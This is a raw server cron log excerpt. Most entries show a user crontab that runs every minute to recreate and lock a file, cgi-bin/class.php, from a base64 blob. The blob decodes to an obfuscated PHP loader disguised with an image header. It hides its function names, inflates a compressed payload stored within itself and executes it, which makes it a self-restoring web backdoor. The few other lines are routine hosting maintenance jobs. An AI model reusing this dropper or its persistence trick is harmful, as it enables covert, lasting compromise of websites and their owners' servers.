Nov 11 15:04:01 server CROND[10517]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 15:05:01 server CROND[10888]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 15:05:01 server CROND[10889]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 11 15:05:01 server CROND[10891]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 15:05:01 server CROND[10890]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 15:06:01 server CROND[11724]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 15:07:01 server CROND[12534]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 15:08:01 server CROND[13363]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 15:09:01 server CROND[14246]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 15:09:01 server CROND[14247]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 11 15:10:01 server CROND[15062]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 11 15:10:01 server CROND[15063]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 15:10:01 server CROND[15064]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 15:10:01 server CROND[15065]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 15:11:01 server CROND[15945]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 15:12:01 server CROND[16775]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 11 15:12:01 server CROND[16776]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 15:13:01 server CROND[17595]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 15:14:01 server CROND[18501]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 15:15:01 server CROND[19319]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 15:15:01 server CROND[19320]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 15:15:01 server CROND[19323]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 15:16:01 server CROND[20188]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
